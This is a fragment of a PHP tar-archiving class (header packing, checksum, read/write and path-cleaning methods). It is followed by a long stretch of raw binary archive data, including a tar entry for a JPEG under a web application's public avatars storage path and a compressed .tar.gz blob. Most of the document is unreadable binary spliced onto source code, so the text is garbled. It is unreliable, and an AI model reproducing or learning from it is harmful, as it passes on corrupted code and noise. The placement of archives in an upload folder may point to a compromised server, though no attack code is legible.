		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK!�g*

10/4yd0ui/674dc9a7e6beb.jpg.tarnu�[���var/www/html/back/storage/app/public/avatars/10/674dc9a7e6beb.jpg000075500000001567000000000000020142 0ustar00���JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!J��YY10/4yd0ui/4yd0ui.tar.gznu�[�����	<���[�.�"��}߳��1��ؗ���UBHZ�RR�"k�]E��$!;!�{ό��.��|���~��]�=�\���9׹�uRҮRn`���,,���!�#�w���c:�H?��"[��Ғ" ��e>����0�����F

{�}`�.`Woa�{@����¾�.0��08(	%,*",�k{�40�*-)��t��������DD$��[����ޟCx�u5u4�����x?�)��j���ʁ<��|!�Q!�?

���j�t�5�@2"� 7�;�����aPt0��~<5<""b��$��Ĥ�$dG()��)���R9���|���	�!�
b`gb�����`�U�S�� �'%%� �����ceb����/�I���������	���������>�j�' <p�������8�G�OHHp�����p ��AVQ"Z01���ȋ�$�j��v�q�� �HɎ��g������Z��������������������+�,O�
�{&���R.���_�ȼ��_p���;���T<|������嫦��7o����4�y��������յ�����?�E
�Ep��b�\���YE�hTL��~�lb�$GT/�ޫ!e7�;��$;�!1�9�
+ٿ,�$َ`�r��Q��GH������<�u��������K������>�}v)i��������+��U��������?��i/����������}�������������zHqW!_O_��
	y��o�{�_JT\L��OTDL�����%��B8�l
9*��95}˹rP��E�Ɉ{z%��5U��Z�;��sL��r�+:02.���ׄ}�����)�D|�L�TD���L��K��Tg_Q�Q⼤�AC
���6KgQʿ�,�������&2ik�=g���Le��2�h|�����SS#����~~&<��D�n_M�:������J1�c�v�d�zQp�0��d�w���ϵ������m�1�q�v��M�6-O�&ݒV��ET��Qp
�U��K!�w�%��Dx5{��ń���%���S�Z9�f�h[c�h[�;9KШ�~���|�t�Bԧ�o<�KT��O�!��!������ܡ5�~���������6�</��@:�%��Q�u�Ξ���샱����d��9?U���&�F*IP۹.�0��:���W�Nj�z�Z���/v���9�'Y����}�U�N��SC#�Gc{�5�,k�/d�!�\��c�a�y���x�v�c��B�y�z��Ȣ�oD��h�7�kw���d��.s���F��������l^��G�/�����J����v-ã� V���X�E�;��-��]�E)����ߩ^>��Lx�����%���փ��<I�ڟ���dT[��f\��s5�~����tr��K��W��
=�%�z��R#�X��-*I�\N�]�����J���Oq
!�[��=%n��f�2,/�P0(�B<(��2r�u;��c�Hk�?x���fX��|�l
U�u/D��Q�c���?|�sFS�v�,�����o0�y^��OТP��ې1J���e0�Me?!�+J�[+���#q�YK�<������I2Nxq��<7@����9;�*��0
}x�E��[����H{�`�Q��Is�k3jRRERң�s�j��4��Ysv��U�J����N�|�m�O�` p�CJ���v)���䎶�a�|wY�+�����J>�.�)�4��1;l�h<�mH��G��;;N���
�n��L�B#�,N{��S7���ȶ(M���'��p���3�ʌ7�)�/��	S�� d3-�I�<&$�� ON�1TI�:�����dh]2�]{��C�y����ɞ�#/Y�W�Yƕ點��^i?��}
�]��)B����!��Dsv���G	�-'�V2ku&)�.�28�,�CjG9)��׼`��-D���E�Lj�A*��R�dIER�?Ά2	�?r9����{�fq�\L_I�|"�����魪���dSr�?��h�Q91'|�,���s��G�Y�W�ݧSZ>y_8��|A�qg���Iģ�q�\1�L[��3J	=��IE�}��w:|����2�gd��R-�̥�J��9x �T=�~U�sab�y�IFV�7��e����9���+��rm�6��S
~:�y#�V�ݽ"v��Y���"G%����nX�n�dyvII<	v����m��=)��֮�|1k�����J�Hn��s6�n_ obEN��)�~xx���KCZ��	F�n^8���sS4��S��I��L������1�X���tQ�ݵQ:q0=3��R��FF�5_�M�x3�KN<{�s��0�j����J�d�{j����Ukx�N��u�} p��7���u��7�*C^G�W�8:}K�!2FO����'kIG7Hc��°�U�R͎V�7��_�&�F�Nr��Q�˽c��57�L2����u`���o�]��7�	Z�P�j�gY6wX��1�$7NPဎ흛Ɨ�j��$;m\C|����ۍ|��c4��S�Xc]�<$�a���:;����/��F� ��Wh�f6.�2�C��,�8Y��J��&P������*w�u�y�I�C��e�?�>x�Dr�r����&�7�/9��1-���AF��cGYb�
��ĸ���}Y��Nj6�i��5�{��͹�.R]�E��ܑc�*EKy�L5����7j��x�B�_L�,�E oT]��n~�1P;��7x��Օ���Q��O{5S�< ���%V�C���W��:�߻IDB�=�l�e|���M�a�K�5y㘱��ol�򣖣*�Q;"�~�R�bY�谺��'���Qj1���I?h���k(�/���T�e���'�.ʭ�j�� K�p�2���BKgh�\3��%t���`�|�}M����.=Ӄs���ʞo���50�,���X���{���
.��o$���9+ba�J��;r'$��ɧx�u��)����F�K��h�Ȓia^Ǜř���=sr�//s�A�%+�ל||��^�evFj��q�������<.%!C��DK��'��n(�D��3����xV���Z�q1��]��^�Y���'�a,*����<eь0V-J6�~�X�~l�D���5R��3��v�54�
zo:>��;�$N�"yC� ��r��Tu�b�f"_|���(�~��^EE�[sc��$AZĂ]Q�����,�b^e]i)����˱�zbmz�GZޥh��:󖛹W�}��K��E�Z��(gX���e�~� �6 �*���Z��k[��#R�('��>/�n�)����}��\L��8ܔ`]X��/a��v�G��"��>��sӌ��E������Z6=�v��yĤ�fA��8������8��g�ot�|L+q�|��G�(�2�tM9�|���r�I���V�f����|[A�L�����y�R����0��LY�2�#Ͼi��>�Tu_��O�J��5�<�5�&�)�={��ŵɸU��[j]F��f�:	��N��tB�K�Z�Q��=�W��3o�}��Щ��r*NTODb��K���F���.�RF�XS��/�&Wu�ڑ&����]x���Q5؄sD���t��΋�=��X��U�d�ZY�^z[�'�P$��z���Qn0�� �Aٿ�G/���K֏���5��V���/�&�?��=c��)���_��E(�D4�]�G͑�k�V���Q8�ƞ�[�V�\�TV��r�]&�v!,��{�+��!J��h��a��7

�k�=T������mz��,�҄ʽJ���rG�'�,�ݛ�A0�e|T����ܪ1�Zs=���+
G-�3��b\y�t�i	į��TЩo�r�a�#k����X�\����Ϣld��Q�w�-��6��n��:��^�.ϔ�Wz����5��<'.���iW��s�8�D�!cЗ�'g�oY��ngJ%駈��}m��w��YgL�KO8�q�d,O�Z�h���$A�7��s'�0|�����f�6���+SLdf�rߌD��
�V=Dt��[��>�޲,�~V��m*��Я�@�-�?����d��D��m���!��ҖO��;g{�z����p�ZU�EJ0�VVٗ�0a�MͿIRM�_�"
o:�4�]�@�F否4�O{����n�>����ߪOd87^P�	���g�6(�u{*l��E[/޿��D��(��e�'%%E.(
�o�����n�=}9Q�����'TEa��}=���F��WET~�Z�h6�vhvsd~�Dv��W�z��ˑ6�-#4u�'���ҿx|BG[�f���ቺFj��y�"&���#��!`��>�]61��&�erx�g��@;���'"I�OV����Q׼�pb����:�4Y=gH{Y�0��u^)M�hg|F�Ԃ��j����Y��+9��;�^qd0a1����Mep��\��d����}s�O�ߗǿ���e�t�i-!�c�z9�����a��C7�����:��C�Z���}��z[�k<�u�]ҫ=&V�΋ONz��)k,�*�V����v��n��F��e�%,x�=)��n�.��4Lr�V�u'�c׎Y�F�S�#�&�-Z�1J��.���5\.,�Ld��v��gY1{1RK��Hi��:{^<��@�+� ���&!R��T<�hsՇ�'�>aܘj���1{�XoJ��J��ؒ���cL�|�yD=���\_�C}^��E�M}�����|�Nu2��[1��)�Gv�L��_�V���{����tn�ٟ�)�5;��U�+,8�莽�����E�e.^=�;���(�q�h���l�vz���†~Y�i�"#K�D]b�d�Fd��φ��@ҴG�ۘm���k$�#?�\[N]{+���ݹ�豙F>Rd|LA\ɥ�K�ŊIZE'�+�dt��'A��.L��s>6�?�w�g���"}����t��!w�X��{!ԧj
a�'9��T=?
U���]�}^��L1	o���KGJG��&�$Sd R�(93�G�Y�p���C�i�VB1͐�ԡcno���"#�),3��<�s>��U{�B�n�
A�a�ɱ�>�֤�C�U��58��u�Z�҇8�Ypo�`�ĭ+�x<��R��`���D��j���'�h�I>L�q3���9+4!�t��xɉ���g����͵�f���t��T�ht���6�������j���l�{-�Ť�M�uyM�257��(z�	/�Loƽ�=ѝO�����ِɂ��[?Oh�/Ͼs�8����;��cz���t�5�}iE��Яa}/a���Q�ԍ~�������D�.������P�i�ҍO
hb9Z�?�x�'\��։�4R����g$ͯg��=� ����b�mv�����]�%W�ʰ,i�v4���"��]�!<^�;�C}����=c�y����M��G][��z�G�>���`ir����g�jVA+�ze"ʸ�Nz�7������FH�Y�|����*/���{��ۃ���mD:h��w��p�y��F�
���i}�%,���<P�,��Q����v:L�]�m�����VbHQOY���e�+��ݶ�����ղ�ks-#�#BZ�P΁I��'��_���c~	���g]��N�A��ob��J���s�{lEml�~U��,m��3���eh,���H�s��07����{�_�yq�ɧ$�y+�	��=Mc<��jE��ݪ�7Œ�=i�z��]w>mZ��R>?�'1�\�4��q�ϭ.eC�>��%�TN&8�\��ĝBUЕ���
�r�#�󦙐�bG��!�t�:��kʇ}�x*�I�~�j�5$���ߛ�U�6O�]j�fs���Q�����C&���UZ��A�.'�T��)L��:Ĩ�n4�I53��m����-dx��[|SYT\�H����[�F6/CX����*���@>�s[]�1g>�.u���o���Q�]Ig�F�sf��i�&�GB�<j�7|-m-�?��Dy��b���h���#�蛹n��UJ��tg�Jz����7���Þ ��
H�:7��pCұ?N�Σ>n��糜-�Ug�7�I���r��\��|�.K��xRI�kz�d
�~�ҕZ���������u��䥇ZaM\�s���c��5LN����kUJ���|(-y�=� �qM���O�]醹9q�+�a�^�N]{C���1�Rl�]�x>�1�1z�'Px��I��Z�-�Gjog�?LBEs<����v�	M�N��~�/�k�x��@�(n�UsS�L�N����y��0�#�����*A���{���S���.���|�<bPMfq�)������
���k�UϽ+z��S��W}-32�h&��zWW\�S����`�պ0�T�۟Δ�gg�-�5>t@�Y���k�Y�έ�iKYK���
E�s��όC�=\�¯�~�tT���n��ڸiw�G���SǼ�IW.zJ-^햚�+�"���v��ooq�;������.X�"�Y�Y�M���0��Ԭ}TcM����vסI鈔W�]q!"�v�ʟw�[�޾9�����O}w��/YP��;_.{����̀}z=n@��Z5s��4͋�ޅ�t4䄀�uzd�jo>�Q�e��E�a��'��%���)�1����(�B_�Dzy�e�/M���83�{R|��l梸*y<۵���32�\�ݾsG���5�^:�ݧ����\����0�����b���[M,{?�g����4�~k�HXgQa���̸��AB��+FO��6h�7j턛›LA�a�_g��
��H��MW���l1W��Q�Q<q�#0��@�ۻR��59|S��a9��(觍��k�1�S�|��]g�z��~D'���">�9�ΔD\ �䋩�MJO�`~:�Z�`�2��:��"א�����U��Y����'�����R�_u{��ʓ�7�i�)��<)<\��FHq�AĠ�a�gg,����,����#�W7b��gz�9)����z�&���h#��J�������*��6	�/"�T�c�޼��6��}g��gY�%IY��gV��_$�GN]�N]���d�(L�f���Oj	�����Գ��{Ǡ^|k4��b��L��H����1Lsw��A�͡)WI�w�R8��c"���[�tWH|���ft�YC]-*�-��,�V*>����9�P�
���6��s��Z�Y���%\�r��'��ߖ-S{�z3�z���:��ϱ�?��E��?�h�����y\q�I���S�+�֓������zC�������S�FRՔ)�Tǫo�)K1���ص�I3�Ϲ�ZTO8]\�p:�o�s�pV)/a(�W���y�;�/2�T����<�2I�IjE���ҥ�j���;�
l4�
2+�o©m�%�-ܺ�4x�M�U
�dW���5zK�\��E�d��m��:+	�^2^�������*��?!�ƞ��̤���o�bل��C�`EE���7Srg\����6e�g�{([aw�;6#���?�͝6A,�rP�!I��/��/��1�+[{�(\zOZ��"~��FϋN5��$��[}�N\�=B�(x��k��«(ޯ_��_g�i���]�c�:&�Q��NBrZJlT�b�����*c���a���
�Dee5ѽ<CQ5�m���So�1&�g]v�!O${$�|#�C	���6�ҋ>���ܙR��ܶi�w���$:�[�E�1ؤ�L�z�#�2(�=���0��ŵ�m��TŌ�c���׿�u��noKk�:yJW��92�gc��׽�H�k/�v�2�U*�'�x\��#s�g�ѣu��ƚQ�/;>A��T̯�hnЊ�L֣�b*8bV�Y�" YԴ[M�.�m"��bJ��u�D���I��h.y��%��8�i��Ŧ%M��g
���'đ�6�)�]��|�6ݫ�0����j�\*� �>�J��
������+�6?��+�T������7�U^}�n�{T~the��h�bg�ZX5��ƌ�u�K�w��K�):�h�XW����Er��!<JO�T�m˴����4�y�Ag��,����-Ą�����AtDB��Q�Img��gX�&�y��	9Cb�2���u}��fJ�r@t��������zh���n,�fޚ�>+�!���M	�v��d����^J�g�4���țH�
0�.�2�)�<>mI��L�k��j���Y�A��� ��I���B��ZXc�3�c�;/0�����[�pz9�zY��t�sH.�O�`���{3�\��9����
6�ٝ�z��mz�����x�򅨟�_7d���C�t*��J�I�~�K�e�ø))�����TG�U0�o��3T���
��jPM%?���No����n�#���'������3LW��Y�L8��'�@�y���S܍�
z������u�"FD�4�WD�rntTB�������O]�P���\��~u��ʼw�W�������d�E��%R�Ȝ�2yD��TX�ք�'�4��@U�k�ex����g�/A���,).(�)M�>�j��Y�m\_�����B��O��x��n�_Ƽo��'�X�Ձ���8��_�͋�|�멁W��kF�J�B��-�Uh�w��'�e���x8M�ݤ"�?2�Z3�`z[����&�l^zg�j����G�b��.��	9��A�T7m�[��.ɰ�[\��8q��r�xL�e�C���;����k�5��Y+������Ï��Ԯ�I�(��������ρ��L5��������I��7"�mN���&80*+T��3B:tl9Ÿ�rwAO���6�9���2�'P����r%��Fp����;�4�C´o�>�ʊ>}�)� ��U�����
jб����]ӛ�}D�%"��V�E�]΢^e������w�B���3�çI7־m�^����Q�S�����<�B�d>�Y�j�WSY���9�կ�E�DF��uAgU������OJQ�r�Q�ϵ���4�Cl�6��o�xX������8��`�.��*v��N���w���uh=��fݶ(�IyE�[�ٯ���ؤ}�[�g�sK@�/kV3��Oܶ�F��J��21n���'�Zt�*���J՝.0}}Ӯ��衹�)~�'؁]�5"7g�e<�<�R��q��sb�G��+�ݯ�%z],�2av5kQI*'��7p[�!ڬ��NԟA۞Sb2�zf�m�pa�۞S��?��Nm��q��D�ǹT��;\��}�m!����{�3G>[/eh�L�˽T�p���]�3�N5jE3W���1�4Zw;�W���f
�	Ҽ��ū�^�Ҭ�vd�:��lJ��y��3F.�ч�I4�	Jy���K1P�{Ѵ��h8�¾�'�@~��w���=�Hj���֬G냮_i��l~�jqV\O)nj�*a4SDW}㡄H=�o�Ǒ(��O��o��i;hJ4&�'p�
��D��C;����'����:*��:*ضq�<)������x���Q'_��$��j�{Ә��:U��,�"_�j��#��cd����"��_mN��׭����z����z��T��ݕ53��&7׎�)̥����t_�~��~���w!pvr�k.O��%�g�����\�V��tSxt.��c]l�er~��|�?&G��z�n�1�1%�c-
(�����<K*�2-�T�DTG\b�sIg�0�{d��ʫ}_�������O�'4��Y�����Y�lߧ��*�i�n�7�s��,蛌}g�E�l��eo~�n�r����-8��W�re�<w	���x�Oڢ:�������<����!)J�;���'�E��+B*_e��k�Ƨ�B�#�e*���1K������I������d~�WP�j�����hSh4e�n��R|%�0��a-�*ˬW�o�r�~�E�^f6Գ��:�V�Fa={ii�'��f���v~u��M�+m7�[�+L�o�M_�@w���Eɲų���J��k�B�C�]�QNo�L45�2�c7��{��,�6�$|N_n�]�q_�P��I�oZ����
N���I��-F���7h�$�_��ߴ��<�\Tum����a�k�ùŎ�	CZ����b��:��7�
��l�҃�Ƅ�9
�Ǽ֖��
��u������dJ��.����^-8��{�E�˵>�sbb��4E�}_�}��"](M�S�`t�t�G�M�r�x��{kh����Ay��K��|?��&�7Y^
���c�<�z���&n��.��_��5�ѿ!��6T��~�j�ǧ�F!���۬�I��<�!����[c������+�uƝ�Ͽ!'-���e}�f�_&A7�x�L������:�|:��A�Gs��%HM*u�="^���Kq�YL�'�d����5Ӥ�ncW��:7�?̚�:�Pi��#���IS�X�D>���Y�*-Ҍe\lEݮd|��l;�*䂡r��f�ړ��c��t�9��
��/���E�!MN,M=P*n����+�Q�1��n�u�x���2���4���6�T�d__}��e,���BR�]����&��ċ���/C}9K$��,���qH�‘_]��'x4�:p�!�&L��Æ��*G<��$B���Tr/�'�Ȼ�����c��_��~]�:S������W/M���=�S�m�mpxr>Η=p�16�Ǔ�n��Z�|:���h����*��R,8�8�bܧ��k�0�
��Sm+������o�i�~+LqP�ȾBX:{���y�x�1��Ϸ73�V+3�3vꗋD�4�|Һ�t�p�6��Q��j���E/�ؤâC���s)<��9KHֹ���0+��[��a�FF��o[��^(�	�ݜ��(�x����}��>ȷE)��%��K���k�—�\n���\:���Ҁ%���֙c��'|�jE%g���N���8u���uVj�t	h|%q(��B�������wJ��#aK͊��
҇�6Rmܥ.n���s��Q"l�[`�iH:k2h�R�f����,]w4!ON��9�h`� ���.�p��HR�68����X�H���f�$+
��K��֐��cƴ�8�JS
�e[�4?�	&S2J�h�=�f�|0���
�qc��k����;�`U춒A�
c�;'�GL&�Ͻu���N]EU�RT�;�&���8>ʽ�~���@\��K�l�ح�e�R����%=z����|�M�A�����
!�
�w���}J�-��g��hS�m�� �#�~�')(�Y��*j���x��S	�ɾZQ;p�i��vA��g�q�y��=Omz[K7��{�r䋙�ԑ���GMd��r��ިi�Ody7���g~��L�o������k�&��Q�tH�o,O����]
S58��lz�|i�-(��o����d��8@I���y>���1�h';
�"Q��ԕ||�h|����RmTN�f����ᘨ�^z����ZD۵�ބY�&1��
z���<~!p��X�u�GtS�֨�eg����bT�,@�ϫ�U-wXOe2)XG��]���ރE\V���PUΔ��n����X�D>o��2q�I1�.���)��M��fE�󨂄�r�z��P���]�M0�Kmxaes{���Pq�fƩ�S��@Y���r��\�'�%7�+0i�38���n��"�6<C�r{��ۥ��T�q_P�C��FJM��W�o�Z��I�ޥu,Y����������-�7Ȕ�Q�E�Y�:]~=q'V��9�d!ud��=
LfO�x%��.޿SN�~g�Hq65�jZUUD��#oY�[����I�<	򅒇E��q�rw�;5�F{-�h/�~yj�>��(�bz�����
�{"#�#���$�E�׏z+|[��R��5��	Xe�G�j��[�>͔pm?7S(�r-���SM�o>��}m��l�Ðu�ʛꢆu��y�#:����T�U6ְJ
���w�c�C�Wr�����B�ݣeoF�+�r@X��Mu�-���Ɗ�dl��^�����Wai��C�,/�N?Kk}��[����+z�e�1�
/f*+�[�����c~EV��a�r����a�����GR�}�b|ϤnUw����ۘ�JZ���J�b��Y��;�S~�9J��k��ݖ�^��4k��E�V����z�
9yٛ�6���${j��E�\���u��_��/R�}kL�5>�?��m��E��u�@�Ȼ��¯E��Q����PXڑ���W�t��\�'�C��
$�x�;��;n��ژ,X�f�M���h(M�e%3K��5��&��c��n�nꢭ���M��}�cX���U��>�"�wF������XM�
��J�q|1C4��^���ˊ��]ن��]�Kg��0E$50��󊩝+�/{w*��aָ{&��e�{�"Bщ���ݞ��8�ѿyh���ӳ!d\����pJ8��`T%��L�K��H���1�;c,�n_�!/�T㿆9|f /�t�ޜ���z����'g�va�=�6H��F�ųЋ��ue�9�$��e{H�'���{'ːy�/��5������L$춲T��m���G�S�bð
9'.��ܹK�M��^�1��m�΋1��A9yr���sML56�_s�7��3��*�f�t
�־_Zu�S����[�%�#��o�x(e��G�o`o���I��B�T�<��%zU��#4S ��u>�9�d�X6�?*�N�X��R��/�qƙ�6����lE%��>���Fr�>��b��D<����v=�y���'W]�ɉ�aOz:ܡ�B��Y�c�럳5�f�\��҅�;8
���ρ��f�����h�gt�Ìy�g>
�]����Ol�	�-�~�Ŀode��J�5�M�Ս�}����/�\��Fڀ�$�ot`f�O�J#\l����XY+����H�w����#f�Wb�˻�%Ӵ��lg9b�]����Y��2�u>�O1��u���ؠ-t�Cˊ�x@'�*��65fs�*▨~�Zŧ��ʓ/]Lԝ�Y����d�,�xr��s��BHxv��l�rzÔ�P=i�oIua�W��'�S��wK��f��b�,�`�Ȳ K��d�S��>���+~t�h�S���e�ZE��C���4���B�����2{+��>����L]�
�*�[�F��-T����B��M�0�O���|��D��t��?�%l�\�ϭ�+:�g�o3S'�o�I���r��^���Tqzma�,��Br`�΄�y�]r����_Nv�퓁ך'֐َ���6�:T�^���ƣ�y�0�L��
|�_f���wPl���8�a�LX�J��.o9��l4�y��s)���s����E�R�e�\"����%_ͷ"�,��G��(�J�S�ă��jk�nҟ@�[-�(*�6�o:ySQ�*
8�{E����2��8���t�aht1�M��O��"�[�� �jݡ�����_�\P�
:ի�,zL���h��w<�3��:�]t�A�韻�=�o|Zlx볚:��U|2�}�/OH�s�`�fs85��JwT��1����ᅟ��?һ�I��/w��~���7�	��n~mL�o���YyU2���Pq�s0����g��T�nԃ3	�g�l)�Y�uM�ұ�+8wL����y�@F!d�w�	���tSy�)�;O��J�o�~V���f��T\)���s&��(����t�S��=i�X1�;���n���g׀>3s�e�?�
�+�l��ʬ�@������+�I^�jp���gb�뚶J٧H�^Nv��P6zt�c �Y=~���n*�/�y.�6P�R֔��~�>��޴���Ls�8fM+MĀƥ�&��%��\�e͹"��P(�|6f/��H��>�˳��2���&�sz!�$��e��؍���U�����۔�z.���5��b�A�a$�|���"��~cA��rmS��d�ouSb��<��TfH�~j�<�Y����[�\���Ҳ†���5�"r_yl�W��M��]~�A�9�!���Cxߓbާ��
K�<���V���J��i�P`�&�pR%�Ɯ����5��a�ձ�m�3o�!�'I4��w>>��e�Sz���R�_E����V�0E���iT5���C�8r5=���X1kpU��{o��ne�D.�V��
��*,좲+ե���D�t���ɨ�P��9gN�jR�a���k۾G���Q?��mz^7���Ge����j>�^�,2�j�Ⱥk(��: �]W?�z�R�p֪��W�.���[T�-h�iϯ�	�ʳ���5v
Kb�������<(�<�!u�/O��u]��w=�A֋����V��:�V�0���17�};����%���ߢH��,���$�#�m��ݪ!������tŁ\������1U�cJ�G��k�r����ZT�*="�h�1p�����7m�C�Zi	����)戅jS�d��})�t��륣�'�g���o�G�:�B��58[��|68e,e�.~�%�#�aHe”{߾	
N����z���:|Њ�ɥ楅���n�,&�^����j�]����Y�To�K86��r&����u�
d��~i-��hQ����n�k�f��r־Yª���
�
/����\��D�hL�{�v̉16=N��e��1���C왋�WI���$�����h�+���If�b*��[^���}*�„��6;R2g,�S�ܫX�_�<��
Sd1 �9�N���^]�,�W�Q�j����!?���o�5��!��ߖ�7�]��������}��Y��sZj`���]���b'�5��M?
��^;<�!}�����t!m���cOÞĒL^���[��
2�8^�a�����Q�
3�UA��k��Z{�r�j���ש��v3]�wVl��t��p[p�+���gOӻ��;�
�s)F���/�@
��������@���^�&�8��ë��\����k�3�Ǎ����K�}
6N�;>�Mr��Ɵ�T���6]
��=��:'(���u��p̲��㣅��g�'d|'Kn����|�g�d�t��
�L�ɫ���ůF���jD��f�%�?�M�{i�H4�24ty& ��,kC6�_K���h���L���
��)�?���o��mj*?9E�F��}�9Y'3�]�j��j�w�`�—�+��r��׏��ό4j�'^u�`�;洒*-*��ǁ��oRiD�X��b��F%�1&6K�d��C��hϛ��G1�(�3��ImI�f��PAQE[��s�E�)<�xt�,*��N^q����'��c��d�O{�e<~~�O�BN�w���kM�����z�����OJj9}p��[���;M�$�2�����ѯ����Tn}��ZF�ۇ�ň5_d.��dӽq����(�y�2�q������>���
?�9�D�Jcj_�JM����h�N�����[��H�3ϔ<���h\�Mm�Ex^G�6��à����ϒg���?mȟ�6���F�=_^?!����ޮ!��9�|�b�� ��q��i[��;m���ȭ[��5�kD�?�fHj�h����'}��G��9!�q����\�_O|�XM�.o���GtF�"��/�	^Y�d	-䒜w����4�ɮB��.�@mq����"!������d
9&��E��M��/�U��S���W�N�\m�?��3V$�ۼe���ϊ&�Շ�z�Z����>��|.�K}&��V�'��}T�B�����@��-���<ݕ�����&��#*�<IM�M�!s�n��j^���Ӡ����J'��]+TOq�7M�Ȣ�-[��Mn,�9SR�$������o�8+��x�)�p�]���]ڡ�����Tvc=����8��&g]�"*_�_�����2hVc�>�g0������f���婖��;=�6�e8S����<d�OL��8�Tn,0M��t�?f�S#�p���[�7e�]�ς�ӻ�IG�2�,l�3V�{�>�WVw��Q޼��y_IY����]��VT�
//ĸ�꙰���Q%L	�sj�r��rñ����gsO_S�=���7����{�z�	�Vw���{�(�F7Q���p0۩�m�>{� E�EU��o�����R�ﹹM��~`Is썔?�N���K�$D��K�$}^�<�/�(�vK��u6y\�ZY�:'j�\�J�2�]��T�I�v�)��ŵ�#w�8Ui���#��"�
��,1���j]7���.L{8\���o��ԞѪ�Z^�z�u�6��c�;�b�s�,�w��R*�5Ť����m3F��e������/ܭ�P�y�̐9��%��
Y6�!��l�E��5m"7���uK����)�s�bK���{���/�?" �����T!�%��A�*��;;J&�ؖk$�����ux�^�S��:��I��G�7��+�r�Q�TO�t?���d�R��X��BMV�:�) �1�����֭=�&��`=�
��4��,͈ٝ:rs�
-�*gzJ"���؋'�ϡ9^�x��y�Z�=���U5驙wdߟ=���q��,ы���l}x�U!+i3��ʑ3�Ia���f�.s��j)�T��g�Er�����\'�Ҍ�$�$G����T)V�爔�Nl������U�
5���n׍mR)�S���S�6����H$E�����p���\�"��v���E�:
%��8�ù����������~�db��Y��O����׌�O~r�)�N-�	��L�~:�("�\nu}��ci���C��%N^Kn;�Fv�4����"���{}���$��룓�2?�V;2�� @U1B�v��a>��q�ks �/os�;i4S�`7��k
��+�&�4%w=���+J���l6Ȫf�/��#\M$�fB�k?/^�ϩYIV�Ӳ =�SW�L�{��R_��GkXZ�O�t�X�A?@LW���<�S������)�}\F���(4�������WV�g֐7��IWӟ�{ڵS�;�S-kK�t
�KG1qݐM�~�4t��.��JսkG\KHF���=���f�6�9��M"�o���P������jl1%P>���P"�G҈��ߤ�r
n�Y�$�d��T�:�.���y�r������Z���@m���Q֢��G53�}s�����C�t�پ�-m��l�ϕH�DŽ�xd1n���F��3���1;б@��;�.�Գ|i�x�����xi���r����F~�#1�a���Y�K��L�>�$G�Z>�}��\9�#ن�z����V��C�_�R�/6u�}�YH{"b�X"�-{���j�"w���T6��C��󴏞nF|�>�{�J��n��	s�ǁ�9&5Æ�r�O�eӉi]�%�$�,�2�:�d�RYSvi������Jyj���$_�n{���f�O��&S���x��豷�;���?[X%�Q)����|��z]§���i(=�F�Z��,�
:j�v�_������\��<�}/��{`�vu�;����g�^G��:^;��P�p|E9M�6�)����h'ם�>��V	���������"�7��8��SM1Ld �w��ֿ+�5Vqň*̎���P����$X���Y.�u�~`:��§�s��%=V�����
��=���j}8<�z��R�U)��f鼘�+��&�b�_�"K�6ȁ3�~�tG��u{G_[!�Ճ��&���H���&ꚽ���f���:����ӑV�y��Qʙ��/�χ8�cS��_I:��;���&��s=����$'�p���BE:�N�����Qm|nL�����.��|�>�eq���氋�1Xٟm�X-�[Ջ�^�siB/���fR�'�	<8�p�~�֑���
o6\�ũ�A�g��`K�S�W�FR%X�I
}Z���<�;u�ī�X�ۓG�?&��D���#�l��q�LC!�m�Դyr��7��	���:?�
